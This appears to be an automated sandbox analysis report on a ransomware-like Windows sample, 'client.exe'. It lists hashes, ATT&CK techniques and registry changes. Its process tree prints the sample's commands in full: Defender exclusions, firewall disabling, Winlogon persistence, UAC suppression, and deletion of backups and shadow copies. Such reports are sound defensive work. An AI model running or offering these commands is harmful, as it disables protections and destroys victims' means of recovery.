7e74a48ebaf713b7ecc828938a114bf32a9d3383aa51df88434b5a04a7f7915f

Analysis

max time kernel
149s
max time network
123s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/07/2026, 12:21

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General

Target
client.exe
Size 17.8MB
Sample260728-pjtslshl21
SHA256 7e74a48ebaf713b7ecc828938a114bf32a9d3383aa51df88434b5a04a7f7915f
MD5 ae2102521c9ee919a914bdcf93caa94a
SHA1 4ebc8a02065eb06ef66d851727747f8cfaeb5aa0
SHA512 2b278ceb25fdf28ecc05138ff0b5152de589dd6d80dd06e6efa84d68cea25b50e7c787a35d75ce5fe53b46b5843537e9fa0c4fd05da5a1f084cd3adac5de1b7f
SSDEEP 196608:wrTP+eIOIvKRBVRB0EW8QkkplzPApX+1z/iMR052fM1fICRcyXo:qTP+eI1q1kfPAR+1z/hR052EJp74
TLSH
T15717BE45F2A252E8D667C074C166AA17FB7438BE03502AFB9AD099746F37BD06D3B301
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution impact persistence privilege_escalation ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Local\\Temp\\client.exe"	client.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	client.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4144	powershell.exe
4144	powershell.exe
5796	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4240	wbadmin.exe
4440	wbadmin.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1004	netsh.exe
3792	netsh.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1360	cmd.exe
3252	cmd.exe
4436	cmd.exe
2100	cmd.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
5180	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 59 IoCs

pid	Process
4144	powershell.exe
4144	powershell.exe
5796	powershell.exe
5796	powershell.exe
5796	powershell.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe
3676	client.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeIncreaseQuotaPrivilege	4144	powershell.exe
Token: SeSecurityPrivilege	4144	powershell.exe
Token: SeTakeOwnershipPrivilege	4144	powershell.exe
Token: SeLoadDriverPrivilege	4144	powershell.exe
Token: SeSystemProfilePrivilege	4144	powershell.exe
Token: SeSystemtimePrivilege	4144	powershell.exe
Token: SeProfSingleProcessPrivilege	4144	powershell.exe
Token: SeIncBasePriorityPrivilege	4144	powershell.exe
Token: SeCreatePagefilePrivilege	4144	powershell.exe
Token: SeBackupPrivilege	4144	powershell.exe
Token: SeRestorePrivilege	4144	powershell.exe
Token: SeShutdownPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeSystemEnvironmentPrivilege	4144	powershell.exe
Token: SeRemoteShutdownPrivilege	4144	powershell.exe
Token: SeUndockPrivilege	4144	powershell.exe
Token: SeManageVolumePrivilege	4144	powershell.exe
Token: 33	4144	powershell.exe
Token: 34	4144	powershell.exe
Token: 35	4144	powershell.exe
Token: 36	4144	powershell.exe
Token: SeIncreaseQuotaPrivilege	4144	powershell.exe
Token: SeSecurityPrivilege	4144	powershell.exe
Token: SeTakeOwnershipPrivilege	4144	powershell.exe
Token: SeLoadDriverPrivilege	4144	powershell.exe
Token: SeSystemProfilePrivilege	4144	powershell.exe
Token: SeSystemtimePrivilege	4144	powershell.exe
Token: SeProfSingleProcessPrivilege	4144	powershell.exe
Token: SeIncBasePriorityPrivilege	4144	powershell.exe
Token: SeCreatePagefilePrivilege	4144	powershell.exe
Token: SeBackupPrivilege	4144	powershell.exe
Token: SeRestorePrivilege	4144	powershell.exe
Token: SeShutdownPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeSystemEnvironmentPrivilege	4144	powershell.exe
Token: SeRemoteShutdownPrivilege	4144	powershell.exe
Token: SeUndockPrivilege	4144	powershell.exe
Token: SeManageVolumePrivilege	4144	powershell.exe
Token: 33	4144	powershell.exe
Token: 34	4144	powershell.exe
Token: 35	4144	powershell.exe
Token: 36	4144	powershell.exe
Token: SeDebugPrivilege	5796	powershell.exe
Token: SeSystemEnvironmentPrivilege	4420	svchost.exe
Token: SeBackupPrivilege	5400	vssvc.exe
Token: SeRestorePrivilege	5400	vssvc.exe
Token: SeAuditPrivilege	5400	vssvc.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3676 wrote to memory of 4144	3676	client.exe	89
PID 3676 wrote to memory of 1004	3676	client.exe	92
PID 3676 wrote to memory of 3792	3676	client.exe	95
PID 3676 wrote to memory of 5796	3676	client.exe	97
PID 5796 wrote to memory of 4436	5796	powershell.exe	101
PID 4436 wrote to memory of 2516	4436	cmd.exe	103
PID 5796 wrote to memory of 2100	5796	powershell.exe	105
PID 2100 wrote to memory of 4240	2100	cmd.exe	107
PID 5796 wrote to memory of 1360	5796	powershell.exe	108
PID 1360 wrote to memory of 4440	1360	cmd.exe	110
PID 5796 wrote to memory of 3252	5796	powershell.exe	111
PID 3252 wrote to memory of 5180	3252	cmd.exe	113

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	client.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\client.exe
"C:\Users\Admin\AppData\Local\Temp\client.exe"
1⤵
- Modifies WinLogon for persistence
- UAC bypass
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4144
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:1004
- C:\Windows\SYSTEM32\netsh.exe
  netsh advfirewall firewall add rule name="svchost" dir=in action=allow program="C:\Users\Admin\AppData\Local\Temp\client.exe" enable=yes
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:3792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5796
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c reagentc /disable
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4436
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:2516
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2100
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete backup -backupTarget:C: -allVersions -quiet
      4⤵
      Deletes system backups
      Drops file in Windows directory
      PID:4240
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1360
  - - C:\Windows\system32\wbadmin.exe
      wbadmin delete backup -backupTarget:D: -allVersions -quiet
      4⤵
      Deletes system backups
      Drops file in Windows directory
      PID:4440
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3252
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:5180

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4420

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5400

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 19fa1d05fc89a6a4b1f4191fdf82d48ee88337b45baef27305ed1f046be80871
MD5 6a3ac17cb8de23f4bd33ee62f0e136fa
SHA1 c2f5ea05e943dbb2d1e9225192015a85aced1c86
SHA512 734364de52a0fbcf1de07bf18d0dd5a49b42ffb3e6e777c0fe32207f3c5ba25aac52baf985cfa61c39c9826c63930480de3c61eb76b0de9b6ead4f18140d3b89
TLSH
T1D1216833B3DD8624CC9A413A10CDAC1036B6C7DB40DECFAB7B84E659A42F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3sxomikh.wu4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3sxomikh.wu4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

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memory/4144-12-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-13-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-6-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-7-0x0000014AC0C80000-0x0000014AC0CA2000-memory.dmp

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memory/4144-8-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-9-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-10-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-11-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-0-0x00007FFCAADAF000-0x00007FFCAADB0000-memory.dmp

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memory/4144-5-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-16-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-18-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-19-0x0000014AC0CE0000-0x0000014AC0D92000-memory.dmp

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memory/4144-17-0x0000014AC0CB0000-0x0000014AC0CCE000-memory.dmp

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memory/4144-20-0x0000014AC0C60000-0x0000014AC0C6A000-memory.dmp

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memory/4144-21-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-23-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-2-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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memory/4144-1-0x00007FFCAAC20000-0x00007FFCAB5C4000-memory.dmp

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